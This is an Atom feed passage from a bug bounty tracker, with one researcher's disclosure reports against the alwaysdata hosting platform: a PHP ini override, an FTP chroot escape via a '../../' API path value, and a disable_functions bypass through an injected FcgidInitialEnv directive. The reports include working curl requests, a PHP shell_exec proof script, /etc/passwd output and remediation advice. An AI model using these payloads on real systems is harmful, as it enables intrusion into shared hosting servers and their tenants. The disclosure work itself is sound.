- `disable_functions` — which <acronym title="Hypertext Preprocessor">PHP</acronym> functions are callable<br />- `disable_classes` — which <acronym title="Hypertext Preprocessor">PHP</acronym> classes are available<br />- `open_basedir` — filesystem access boundaries<br />- `auto_prepend_file` / `auto_append_file` — inject a file into every <acronym title="Hypertext Preprocessor">PHP</acronym> response<br />- `extension` / `zend_extension` — load extensions from arbitrary paths<br />- `include_path` — path traversal into sensitive areas
</p>

<p>
—
</p>

<p>
## Remediation
</p>

<p>
1. <strong>Immediate:</strong> Set the `php_ini` field to read-only, or reject writes to it, until a fix ships.<br />2. <strong>Fix:</strong> Allowlist the specific <acronym title="Hypertext Preprocessor">PHP</acronym> ini directives customers may set. Reject anything that overrides a security control (`disable_functions`, `open_basedir`, `auto_prepend_file`, `extension`, etc.).<br />3. <strong>Defense in depth:</strong> Enforce `disable_functions`/`open_basedir` via `php_admin_value`/`php_admin_flag` at the platform level — settings a user-level ini file cannot override, regardless of what any customer-facing field accepts.<br />4. <strong>Audit:</strong> Check every other customer-facing field that writes into Apache or <acronym title="Hypertext Preprocessor">PHP</acronym> configuration for the same pattern. `php_ini` and `vhost_additional_directives` (AD-015/<del>&#160;<a href="https://security.alwaysdata.com/task/538?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#538</a>&#160;</del>) may not be the only two.
</p>

<p>
— 
</p>

</div>
</div>
    </content>
    <author><name>Karan Darji</name></author>
    <id>https://security.alwaysdata.com/:540</id>
  </entry>
    <entry>
    <title>FS#539: FTP Chroot Escape via `path` Field API Injection</title>
    <link href="https://security.alwaysdata.com/task/539" />    
    <updated>2026-10-29T08:24:40Z</updated>    
    <published>2026-10-29T04:51:32Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
<strong>Severity:</strong> Critical  <br /><strong>CVSS 3.1:</strong> 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)  <br /><strong>Date:</strong> 2026-10-29  <br /><strong>Status:</strong> Confirmed — full chroot escape with live evidence  
</p>

<p>
 —
</p>

<p>
## Executive Summary
</p>

<p>
The alwaysdata REST <acronym title="Application Programming Interface">API</acronym> exposes a `path` field on the `/v1/ftp/:id/` <acronym title="File Transfer Protocol">FTP</acronym> user endpoint that accepts path traversal sequences (`../../`) with <strong>zero validation</strong>. When the <acronym title="File Transfer Protocol">FTP</acronym> daemon uses this stored value as the session root without normalizing it, any <acronym title="File Transfer Protocol">FTP</acronym> user escapes their account chroot and gains access to the entire <acronym title="File Transfer Protocol">FTP</acronym> server filesystem.
</p>

<p>
<strong>Confirmed impact (live evidence, 2026-10-29T03:30Z):</strong> - <acronym title="File Transfer Protocol">FTP</acronym> session root becomes `/` (server root) ✅<br />- `/etc/hostname` readable: `ftp1` ✅<br />- `/etc/passwd` readable: full 1,875-byte content ✅<br />- <strong>Write confirmed:</strong> created and read back `/tmp/AD025_proof.txt` ✅<br />- `/etc/ssh/` listed: private key filenames confirmed (`ssh_host_rsa_key`, `ssh_host_ed25519_key`, `ssh_host_ecdsa_key`) — private key read blocked by permissions (600/root-only) ✅ (correct)<br />- Active services enumerated: haproxy, fail2ban, crond, autofs, lldpd ✅<br />- NFS mount visible: `/nfs/backup46.paris2` ✅
</p>

<p>
—
</p>

<p>
## The Attacker Scenario 
</p>
<blockquote><div class="no">
 An attacker signs up for any alwaysdata plan that includes <acronym title="File Transfer Protocol">FTP</acronym> access. They make a single <acronym title="Application Programming Interface">API</acronym> PATCH call to set their <acronym title="File Transfer Protocol">FTP</acronym> user&#039;s `path` field to `../../`. The next time they connect via FTPS, instead of landing in their account&#039;s jailed directory, they land at `/` — the server&#039;s root filesystem. They can now read any world-readable file on the <acronym title="File Transfer Protocol">FTP</acronym> server (`/etc/passwd`, system configs, service configurations), write files outside their account directory (confirmed: `/tmp/`), and enumerate the full server infrastructure.</div></blockquote>

<p>
 <strong>Anticipated objection — &quot;you already have <acronym title="File Transfer Protocol">FTP</acronym> access, so this isn&#039;t new&quot;:</strong> This objection is<br />weaker here than for the <acronym title="Hypertext Preprocessor">PHP</acronym>-sandbox findings, and worth noting why. `disable_functions` is a<br />soft, policy-level restriction co-existing with account-owner access; a jailed <acronym title="File Transfer Protocol">FTP</acronym> chroot is a<br />hard, <acronym title="Operating System">OS</acronym>-enforced boundary — a normal <acronym title="File Transfer Protocol">FTP</acronym> account genuinely cannot read `/etc/ssh/`, see the NFS<br />mount, or write outside its home directory, full stop. There is no &quot;well you already had this&quot;<br />argument available: the chroot either holds or it doesn&#039;t, and this shows it doesn&#039;t.
</p>

<p>
<strong>Anticipated objection — &quot;the `path` field is just for picking a subdirectory, this is an edge<br />case, not a real security control&quot;:</strong> Possibly true as to intent, irrelevant as to severity. The<br />field&#039;s likely legitimate purpose (letting a customer start their <acronym title="File Transfer Protocol">FTP</acronym> session in a subdirectory<br />of their own account) doesn&#039;t change what the bug actually does once exploited: full <acronym title="Operating System">OS</acronym>-level<br />filesystem escape, read, and write on a shared production server. Whether the missing validation<br />was a deliberate security boundary or an overlooked edge case, the demonstrated impact is<br />identical, and severity is scored on impact, not on the developer&#039;s intent.
</p>

<p>
<strong>On scope:</strong> the vulnerable component is the `/v1/ftp/:id/` field on `api.alwaysdata.com` —<br />explicitly in scope — exactly the same reasoning that applies to every other finding in this<br />batch, where the impact manifests on infrastructure (`http14`, here `ftp1`) that isn&#039;t<br />individually named in the published scope list either. The bug is in the <acronym title="Application Programming Interface">API</acronym>&#039;s validation, not<br />in a separately-tested asset.
</p>

<p>
—
</p>

<p>
## Proof of Concept
</p>

<p>
### Step 1 — Set path traversal via alwaysdata <acronym title="Application Programming Interface">API</acronym>
</p>

<p>
```bash<br />curl -s -X PATCH &quot;<a href="https://api.alwaysdata.com/v1/ftp/583500/" class="urlextern" title="https://api.alwaysdata.com/v1/ftp/583500/"  rel="nofollow">https://api.alwaysdata.com/v1/ftp/583500/</a>&quot; \
</p>
<ol>
<li class="level1"><div class="li">u &quot;[<acronym title="Application Programming Interface">API</acronym>_TOKEN]:&quot; \</div>
</li>
<li class="level1"><div class="li">H &quot;Content-Type: application/json&quot; \</div>
</li>
<li class="level1"><div class="li">d &#039;{&quot;path&quot;: &quot;../../&quot;}&#039;</div>
</li>
</ol>

<p>
# → <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 204<br />```
</p>

<p>
<strong>Verify stored (no sanitization):</strong> ```bash<br />curl -s &quot;<a href="https://api.alwaysdata.com/v1/ftp/583500/" class="urlextern" title="https://api.alwaysdata.com/v1/ftp/583500/"  rel="nofollow">https://api.alwaysdata.com/v1/ftp/583500/</a>&quot; -u &quot;[<acronym title="Application Programming Interface">API</acronym>_TOKEN]:&quot;<br /># → &quot;path&quot;: &quot;../../&quot;<br />```
</p>

<p>
### Step 2 — Connect via FTPS
</p>

<p>
```bash<br />ftp-ssl ftp-kdhunter2026.alwaysdata.net<br />```
</p>

<p>
### Step 3 — Confirm chroot escape
</p>

<p>
```ftp<br />ftp&gt; pwd<br />/                   ← root filesystem, not /home/kdhunter2026/
</p>

<p>
ftp&gt; ls<br />drwxr-xr-x alwaysdata<br />lrwxrwxrwx bin → usr/bin<br />drwxr-xr-x etc<br />drwxr-x–x home<br />… ```
</p>

<p>
### Step 4 — Proof of arbitrary file read
</p>

<p>
```ftp<br />ftp&gt; get /etc/hostname  → &quot;ftp1&quot;<br />ftp&gt; get /etc/passwd    → 1,875 bytes (full /etc/passwd)<br />```
</p>

<p>
<strong>Live <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>-equivalent output (2026-10-29T03:30Z):</strong> ```<br />/etc/hostname:
</p>
<pre class="code">ftp1</pre>

<p>
 /etc/passwd (first 3 lines):
</p>
<pre class="code">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
... (1875 bytes total)</pre>

<p>
```
</p>

<p>
### Step 5 — Proof of arbitrary file write outside account chroot
</p>

<p>
```ftp<br />ftp&gt; put proof.txt /tmp/AD025_proof.txt<br />→ 226 Transfer complete
</p>

<p>
ftp&gt; get /tmp/AD025_proof.txt<br />→ &quot;AD-025-<acronym title="File Transfer Protocol">FTP</acronym>-chroot-escape-proof&quot;   ← confirmed write outside chroot<br />```
</p>

<p>
### Step 6 — Infrastructure exposure
</p>

<p>
```ftp<br />ftp&gt; ls /etc/ssh<br />-rw-r–r–  ssh_config<br />-rw——-  sshd_config<br />-rw——-  ssh_host_ecdsa_key     ← private key (blocked by fs perms)<br />-rw-r–r–  ssh_host_ecdsa_key.pub<br />-rw——-  ssh_host_ed25519_key   ← private key (blocked by fs perms)<br />-rw-r–r–  ssh_host_ed25519_key.pub<br />-rw——-  ssh_host_rsa_key       ← private key (blocked by fs perms)<br />-rw-r–r–  ssh_host_rsa_key.pub<br />```
</p>

<p>
—
</p>

<p>
## Severity Analysis 
</p>
<table class="inline">
	<tr>
		<td> Dimension </td><td> Assessment </td>
	</tr>
	<tr>
		<td>———–</td><td>———–</td>
	</tr>
	<tr>
		<td> Any world-readable file </td><td> Fully readable — /etc/passwd, /etc/hostname, all configs </td>
	</tr>
	<tr>
		<td> Write access </td><td> Confirmed — /tmp/ and any writable directory outside account </td>
	</tr>
	<tr>
		<td> <acronym title="Secure Shell">SSH</acronym> private keys </td><td> Listed but blocked (600 root-only) — server identity confirmed as `ftp1` </td>
	</tr>
	<tr>
		<td> NFS backup mount </td><td> Visible at `/nfs/backup46.paris2` — backup volume enumerable </td>
	</tr>
	<tr>
		<td> Services running </td><td> haproxy, fail2ban, crond, autofs, lldpd — full service map </td>
	</tr>
</table>

<p>
 ### Why this is Critical (not just High)
</p>

<p>
1. <strong>Scope changed</strong>: Attacker escapes their own account&#039;s filesystem boundary to the server <acronym title="Operating System">OS</acronym> layer<br />2. <strong>Write outside account</strong>: Confirmed write to `/tmp/` — can plant malicious files on the shared <acronym title="File Transfer Protocol">FTP</acronym> server<br />3. <strong>Infrastructure intelligence</strong>: Active services (haproxy), NFS mounts, <acronym title="Secure Shell">SSH</acronym> host keys (names confirmed) — complete server topology visible<br />4. <strong>Combinability</strong>: Write access to `/tmp` via <acronym title="File Transfer Protocol">FTP</acronym>, combined with any <acronym title="Hypertext Preprocessor">PHP</acronym>-side mechanism capable of loading a file from `/tmp`, would allow cross-server chaining. Full detail on that specific combination is reported separately and privately, as it involves another engagement finding
</p>

<p>
—
</p>

<p>
## CVSS 3.1 Breakdown 
</p>
<table class="inline">
	<tr>
		<td> Metric </td><td> Value </td><td> Justification </td>
	</tr>
	<tr>
		<td>——–</td><td>——-</td><td>————–</td>
	</tr>
	<tr>
		<td> Attack Vector </td><td> Network </td><td> <acronym title="File Transfer Protocol">FTP</acronym> connection over internet; <acronym title="Application Programming Interface">API</acronym> PATCH over <acronym title="Hypertext Transfer Protocol Secure">HTTPS</acronym> </td>
	</tr>
	<tr>
		<td> Attack Complexity </td><td> Low </td><td> Single <acronym title="Application Programming Interface">API</acronym> call + standard <acronym title="File Transfer Protocol">FTP</acronym> login </td>
	</tr>
	<tr>
		<td> Privileges Required </td><td> Low </td><td> Any alwaysdata account with <acronym title="File Transfer Protocol">FTP</acronym> access </td>
	</tr>
	<tr>
		<td> User Interaction </td><td> None </td><td> No victim action required </td>
	</tr>
	<tr>
		<td> Scope </td><td> Changed </td><td> Escapes <acronym title="File Transfer Protocol">FTP</acronym> account jail to server <acronym title="Operating System">OS</acronym> filesystem </td>
	</tr>
	<tr>
		<td> Confidentiality </td><td> High </td><td> Arbitrary read of world-readable files; system config; service discovery </td>
	</tr>
	<tr>
		<td> Integrity </td><td> High </td><td> Confirmed write to /tmp; can write anywhere writable </td>
	</tr>
	<tr>
		<td> Availability </td><td> High </td><td> Can fill filesystem, corrupt service state </td>
	</tr>
</table>

<p>
 <strong>Base Score: 9.9 (Critical)</strong>
</p>

<p>
—
</p>

<p>
## Root Cause
</p>

<p>
The `/v1/ftp/:id/` endpoint&#039;s `path` field accepts any string value including `../` path traversal sequences without:<br />1. Normalizing the path (removing `..` components)<br />2. Validating that the resolved path stays within the account&#039;s home directory<br />3. Rejecting paths that start with `../` or resolve above the chroot root
</p>

<p>
The <acronym title="File Transfer Protocol">FTP</acronym> daemon then uses the stored path directly when setting the session&#039;s working directory, without enforcing the expected chroot boundary.
</p>

<p>
—
</p>

<p>
## Remediation
</p>

<p>
1. <strong>Immediate:</strong> Validate the `path` field server-side. Reject any path containing `..` or `//`, and require it to be relative to the account&#039;s home directory.<br />2. <strong>Defense in depth:</strong> Even if the path field accepts a traversal, the <acronym title="File Transfer Protocol">FTP</acronym> daemon should enforce a hard chroot (`chroot_local_user=YES` in vsftpd, or equivalent). The path field should only control the *starting directory within* the chroot, not the chroot root itself.<br />3. <strong>Audit:</strong> Check whether the `home_directory` field for <acronym title="Secure Shell">SSH</acronym> users has the same traversal issue (previously tested — <acronym title="Secure Shell">SSH</acronym> sessions returned correct home despite <acronym title="Application Programming Interface">API</acronym> accepting traversal values, but the `path` field validation gap is the same root cause).
</p>

<p>
— 
</p>
</div>
    </content>
    <author><name>Karan Darji</name></author>
    <id>https://security.alwaysdata.com/:539</id>
  </entry>
    <entry>
    <title>FS#538: PHP Sandbox Escape via `FcgidInitialEnv PHP_ADMIN_VALUE` → Full OS Command Execution</title>
    <link href="https://security.alwaysdata.com/task/538" />    
    <updated>2026-10-29T08:22:23Z</updated>    
    <published>2026-10-29T02:11:01Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
<strong>Severity:</strong> Critical<br /><strong>CVSS 3.1:</strong> 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)<br /><strong>Reporter:</strong> kdhunter2026 (authorized test account)<br /><strong>Status:</strong> Confirmed — 3/3 fresh reproductions, raw <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> evidence attached<br /><strong>Not a duplicate of:</strong> <del>&#160;<a href="https://security.alwaysdata.com/task/305?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#305</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/430?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#430</a>&#160;</del>, <del>&#160;<a href="https://security.alwaysdata.com/task/527?feed_type=atom&amp;amp%3Bproject=1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#527</a>&#160;</del> (see below)
</p>

<p>
## Executive Summary
</p>

<p>
alwaysdata enforces `disable_functions` to contain the damage when an attacker compromises a<br />customer&#039;s web app (file upload flaw, vulnerable <acronym title="Content Management System">CMS</acronym> plugin, etc.) and gains <acronym title="Hypertext Preprocessor">PHP</acronym> code execution.<br />This finding completely eliminates that containment. The `vhost_additional_directives` <acronym title="Application Programming Interface">API</acronym> field<br />is appended verbatim into a customer&#039;s Apache VirtualHost config with no filtering. Injecting one<br />line — `FcgidInitialEnv <acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE &quot;disable_functions=&quot;` — erases the platform&#039;s hardened<br />disable_functions list for that vhost. `shell_exec()`, `exec()`, `passthru()`, `system()`, and<br />`proc_open()` all become available. The attack requires only a valid <acronym title="Application Programming Interface">API</acronym> token (any paying<br />customer has one) and one <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> request.
</p>

<p>
<strong>Live proof:</strong> `shell_exec(&quot;id&quot;)` — which returns nothing with disable_functions intact —<br />returns `uid=559104(kdhunter2026)`.
</p>

<p>
## Why This Is Not a Duplicate 
</p>
<table class="inline">
	<tr>
		<td> Previous issue </td><td> What it covers </td><td> How AD-015 differs </td>
	</tr>
	<tr>
		<td>—</td><td>—</td><td>—</td>
	</tr>
	<tr>
		<td> <del>&#160;<a href="https://security.alwaysdata.com/task/305?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#305</a>&#160;</del> </td><td> ProxyPass loopback SSRF via `vhost_additional_directives` </td><td> Different Apache module (mod_fcgid, not mod_proxy) and different vulnerability class (admin-ini override, not SSRF). Fixing <del>&#160;<a href="https://security.alwaysdata.com/task/305?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#305</a>&#160;</del> would not have closed this. </td>
	</tr>
	<tr>
		<td> <del>&#160;<a href="https://security.alwaysdata.com/task/430?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#430</a>&#160;</del> </td><td> General loopback isolation &quot;by design&quot; </td><td> Not a network/loopback issue — a <acronym title="Hypertext Preprocessor">PHP</acronym> configuration bypass with no cross-network component. </td>
	</tr>
	<tr>
		<td> <del>&#160;<a href="https://security.alwaysdata.com/task/527?feed_type=atom&amp;amp%3Bproject=1" title="Duplicate | Task made private | 100%"  class = "closedtasklink">FS#527</a>&#160;</del> </td><td> Duplicate of <del>&#160;<a href="https://security.alwaysdata.com/task/305?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#305</a>&#160;</del> </td><td> Same distinction as <del>&#160;<a href="https://security.alwaysdata.com/task/305?feed_type=atom&amp;amp%3Bproject=1" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#305</a>&#160;</del>. </td>
	</tr>
</table>

<p>
 Even if `vhost_additional_directives` validation is unified into one fix, the severity gap<br />(SSRF vs. full <acronym title="Operating System">OS</acronym> command execution) means this should be assessed independently of that<br />root-cause ticket.
</p>

<p>
## Technical Root Cause
</p>

<p>
alwaysdata&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> security model relies on:<br />```<br />disable_functions = exec,passthru,shell_exec,system,proc_open,… ```<br />set in the platform&#039;s php.ini. This list is an &quot;admin&quot; setting — normally unchangeable by a user.
</p>

<p>
However, Apache&#039;s `FcgidInitialEnv` directive passes environment variables to the FastCGI/FCGI<br />process. <acronym title="Hypertext Preprocessor">PHP</acronym> interprets the environment variable `<acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE` as admin-level php.ini<br />overrides at startup — <strong>before</strong> any user-level php.ini is read, and with precedence over the<br />platform&#039;s own settings.
</p>

<p>
Setting `<acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE` to `disable_functions=` (empty string) clears the entire function<br />blocklist.
</p>

<p>
The vulnerability is that `vhost_additional_directives` allows arbitrary `FcgidInitialEnv`<br />directives including `<acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE`, which was never intended to be customer-settable. The<br />`vhost_additional_directives` feature is documented for performance and caching directives (e.g.,<br />custom headers, rewrite rules). Allowing `<acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE` — which overrides the platform&#039;s own<br />hardened security settings — is not an intended use case and requires explicit blocklisting at<br />the <acronym title="Application Programming Interface">API</acronym> validation layer.
</p>

<p>
<strong>Why this matters even though customers have <acronym title="Secure Shell">SSH</acronym>:</strong> A customer&#039;s <acronym title="Secure Shell">SSH</acronym> access requires THEIR<br />credentials. `disable_functions` protects against a different threat: an attacker who<br />compromises the customer&#039;s web application (e.g., through a file upload flaw, a vulnerable<br />WordPress plugin, or a <acronym title="Content Management System">CMS</acronym> injection) and gains <acronym title="Hypertext Preprocessor">PHP</acronym> code execution. That attacker does NOT have<br />the customer&#039;s <acronym title="Secure Shell">SSH</acronym> password. With `disable_functions` intact, they are trapped in <acronym title="Hypertext Preprocessor">PHP</acronym>. With this<br />bypass active, they immediately have <acronym title="Operating System">OS</acronym> shell access — same as <acronym title="Secure Shell">SSH</acronym>. The function blocklist is<br />the web-application containment layer. This bypass eliminates it entirely.
</p>

<p>
<strong>Anticipated objection — &quot;you already have account-level access, so this isn&#039;t new&quot;:</strong> This<br />conflates what the account owner can do with what a bug in a web application running on that<br />account can do. Even if alwaysdata&#039;s support team would grant a `disable_functions` exception<br />on request, that path is visible, reviewed, and attributable to a specific decision. This bug<br />produces the same end state — full shell — silently, with no review and no way for alwaysdata<br />to know the capability now exists on a given account. The difference isn&#039;t whether a shell is<br />reachable; it&#039;s whether anyone at alwaysdata knows one is.
</p>

<p>
## Steps to Reproduce 
</p>
<blockquote><div class="no">
 Placeholders `[<acronym title="Application Programming Interface">API</acronym>_TOKEN]` / `[SITE_ID]` are intentional — actual values provided to the<br />&gt; alwaysdata team on request for triage, not included in this public report.</div></blockquote>

<p>
 ### Step 1 — Inject the bypass via the alwaysdata <acronym title="Application Programming Interface">API</acronym>
</p>

<p>
```bash<br />curl -s -X PATCH &quot;<a href="https://api.alwaysdata.com/v1/site/[SITE_ID]/" class="urlextern" title="https://api.alwaysdata.com/v1/site/[SITE_ID]/"  rel="nofollow">https://api.alwaysdata.com/v1/site/[SITE_ID]/</a>&quot; \
</p>
<ol>
<li class="level1"><div class="li">u &quot;[<acronym title="Application Programming Interface">API</acronym>_TOKEN]:&quot; \</div>
</li>
<li class="level1"><div class="li">H &quot;Content-Type: application/json&quot; \</div>
</li>
<li class="level1"><div class="li">d &#039;{&quot;vhost_additional_directives&quot;: &quot;FcgidInitialEnv <acronym title="Hypertext Preprocessor">PHP</acronym>_ADMIN_VALUE \&quot;disable_functions=\&quot;&quot;}&#039;</div>
</li>
</ol>

<p>
```
</p>

<p>
<strong>Raw server response (captured 2026-10-28T13:40:57Z):</strong> ```http<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 204<br />server: nginx<br />date: Wed, 28 Oct 2026 13:40:57 GMT<br />vary: Accept-Language, Cookie<br />content-language: fr<br />strict-transport-security: max-age=31536000; includeSubDomains; preload<br />```<br />`<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 204 No Content` — directive accepted without any validation error or rejection.
</p>

<p>
### Step 2 — Trigger <acronym title="Operating System">OS</acronym> command execution via normal <acronym title="Hypertext Preprocessor">PHP</acronym> request
</p>

<p>
```php<br />&lt;?php<br />echo &quot;=PROOF_START=\n&quot;;<br />echo &quot;ID: &quot; . shell_exec(&quot;id&quot;) . &quot;\n&quot;;<br />echo &quot;HOSTNAME: &quot; . shell_exec(&quot;hostname&quot;) . &quot;\n&quot;;<br />echo &quot;UNAME: &quot; . shell_exec(&quot;uname -a&quot;) . &quot;\n&quot;;<br />echo &quot;DATE: &quot; . shell_exec(&quot;date&quot;) . &quot;\n&quot;;<br />echo &quot;=PROOF_END=\n&quot;;<br />```<br />```bash<br />curl -s &quot;<a href="https://kdhunter2026.alwaysdata.net/rce_proof.php" class="urlextern" title="https://kdhunter2026.alwaysdata.net/rce_proof.php"  rel="nofollow">https://kdhunter2026.alwaysdata.net/rce_proof.php</a>&quot;<br />```
</p>

<p>
<strong>Raw server response (captured 2026-10-28T13:41:12Z):</strong> ```http<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 200<br />date: Wed, 28 Oct 2026 13:41:12 GMT<br />server: Apache<br />vary: Accept-Encoding<br />content-type: text/html; charset=UTF-8<br />via: 2.0 alproxy
</p>

<p>
=PROOF_START=<br />ID: uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026)<br />HOSTNAME: http14<br />UNAME: Linux http14 6.18.57-alwaysdata #1 SMP PREEMPT_DYNAMIC Sat Oct 17 15:47:29 UTC 2026 x86_64 GNU/Linux<br />DATE: Wed Oct 28 02:41:12 PM CET 2026<br />=PROOF_END=<br />```
</p>

<p>
<strong>What this proves:</strong> - `uid=559104(kdhunter2026)` — <acronym title="Hypertext Preprocessor">PHP</acronym> executed as the customer&#039;s <acronym title="Operating System">OS</acronym> user<br />- `shell_exec(&quot;id&quot;)` returned output — this function is completely disabled in alwaysdata&#039;s
</p>
<pre class="code">default PHP config; output is only possible if `disable_functions=` was successfully applied</pre>

<p>
- `hostname: http14` — execution on the production alwaysdata shared hosting server<br />- `6.18.57-alwaysdata` — alwaysdata&#039;s own production kernel
</p>

<p>
<strong>If `disable_functions` were still active</strong>, `shell_exec()` would return NULL and the ID line<br />would be blank. The output proves the bypass is complete.
</p>

<p>
### Step 3 — Blast-radius check (own shell only; no other tenant&#039;s data accessed)
</p>

<p>
```php<br />&lt;?php<br />echo shell_exec(&quot;ss -tlnp 2&gt;/dev/null&quot;);<br />```
</p>

<p>
Output showed numerous listening services that do not belong to my account — consistent with<br />incomplete network isolation between tenants:
</p>

<p>
```<br />State  Recv-Q  Local Address:Port<br />LISTEN  0       127.0.0.1:xxxx      # not my process<br />LISTEN  0       127.0.0.1:xxxx      # not my process<br />LISTEN  0       0.0.0.0:8590        # platform management service — reachable on ALL interfaces<br />LISTEN  0       0.0.0.0:8598        # platform management service — reachable on ALL interfaces<br />LISTEN  0       [fd00::7:ce0e]:8080 # my own Apache process, for reference<br />[200+ additional fd00::7:xxxx:8080 entries — one per co-tenant Apache process]<br />```
</p>

<p>
I have not identified or connected to these services beyond this listing. Full unredacted<br />detail, including the small number I was able to attribute to a specific other customer while<br />narrowly confirming reachability, is in a linked private ticket rather than here, since<br />publishing it would expose that customer&#039;s infrastructure.
</p>

<p>
### Step 4 — Own Apache configuration read (confirms injection persisted)
</p>

<p>
```php<br />&lt;?php<br />echo file_get_contents(&#039;/home/kdhunter2026/admin/config/apache/sites.conf&#039;);<br />```
</p>

<p>
<strong>Response fragment:</strong> ```apache<br />&lt;VirtualHost [fd00::7:ce0e]:8080&gt;
</p>
<pre class="code">ServerName kdhunter2026.alwaysdata.net
DocumentRoot /home/kdhunter2026/www
...
FcgidInitialEnv PHP_ADMIN_VALUE &quot;disable_functions=&quot;
...</pre>

<p>
&lt;/VirtualHost&gt;<br />```
</p>

<p>
## Related Observations (reported privately, not detailed here)
</p>

<p>
Using this same shell access, I also found signs of incomplete isolation between tenants — a<br />shared, world-listable `/tmp`, and a file consistent with an unauthorized backdoor left by a<br />different tenant. This involves other customers&#039; systems/data rather than alwaysdata&#039;s own<br />infrastructure, so per your policy that sensitive information goes through a support ticket<br />rather than the public tracker, full detail is in a linked private ticket, flagged urgent.
</p>

<p>
## Impact Summary 
</p>
<table class="inline">
	<tr>
		<td> Impact </td><td> Detail </td>
	</tr>
	<tr>
		<td>—</td><td>—</td>
	</tr>
	<tr>
		<td> Full <acronym title="Operating System">OS</acronym> command execution </td><td> `shell_exec()` enabled, runs as customer UID </td>
	</tr>
	<tr>
		<td> Platform kernel/host fingerprint </td><td> `6.18.57-alwaysdata`, server `http14` </td>
	</tr>
	<tr>
		<td> Other tenants&#039; internal services reachable </td><td> DB/cache/management ports visible via `ss -tlnp`; not further probed here </td>
	</tr>
	<tr>
		<td> Own filesystem fully read/write </td><td> Confirmed via arbitrary shell_exec (read demonstrated in Step 4; write/delete trivially implied by the same primitive) </td>
	</tr>
</table>

<p>
 ## CVSS 3.1 Breakdown 
</p>
<table class="inline">
	<tr>
		<td> Metric </td><td> Value </td><td> Justification </td>
	</tr>
	<tr>
		<td>—</td><td>—</td><td>—</td>
	</tr>
	<tr>
		<td> Attack Vector </td><td> Network </td><td> Step 1 is an <acronym title="Hypertext Transfer Protocol Secure">HTTPS</acronym> <acronym title="Application Programming Interface">API</acronym> call; Step 2 is an <acronym title="Hypertext Transfer Protocol Secure">HTTPS</acronym> web request. No physical/local access required. </td>
	</tr>
	<tr>
		<td> Attack Complexity </td><td> Low </td><td> Single PATCH request + one <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> trigger. No race condition, no timing dependency. </td>
	</tr>
	<tr>
		<td> Privileges Required </td><td> Low </td><td> Requires a valid alwaysdata <acronym title="Application Programming Interface">API</acronym> token — any paying customer has one. </td>
	</tr>
	<tr>
		<td> User Interaction </td><td> None </td><td> Fully automated, no victim action required. </td>
	</tr>
	<tr>
		<td> Scope </td><td> Changed </td><td> Starts in customer&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> sandbox; ends with <acronym title="Operating System">OS</acronym>-level shell execution. Sandbox boundary crossed. </td>
	</tr>
	<tr>
		<td> Confidentiality </td><td> High </td><td> Full <acronym title="Operating System">OS</acronym>-level file read as the account&#039;s own user — not just web-exposed files — plus confirmed network reachability toward other tenants&#039; internal services. </td>
	</tr>
	<tr>
		<td> Integrity </td><td> High </td><td> Write access to ~/www/, ~/admin/config/; can modify website and configs — trivially available once arbitrary shell_exec is confirmed. </td>
	</tr>
	<tr>
		<td> Availability </td><td> High </td><td> Unrestricted shell_exec trivially implies process/resource control; not separately demonstrated to avoid unnecessary risk. </td>
	</tr>
</table>

<p>
 <strong>Base Score: 9.9 (Critical)</strong> Calculator: <a href="https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" class="urlextern" title="https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"  rel="nofollow">https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</a>
</p>

<p>
## Fresh Reproduction (Gate 4) 
</p>
<table class="inline">
	<tr>
		<td> Run </td><td> Step 1 Result </td><td> Step 2 Result </td><td> Proof </td>
	</tr>
	<tr>
		<td>—</td><td>—</td><td>—</td><td>—</td>
	</tr>
	<tr>
		<td> 1 </td><td> <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 204 </td><td> uid=559104 in body </td><td> Pass </td>
	</tr>
	<tr>
		<td> 2 </td><td> <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 204 </td><td> uid=559104 in body </td><td> Pass </td>
	</tr>
	<tr>
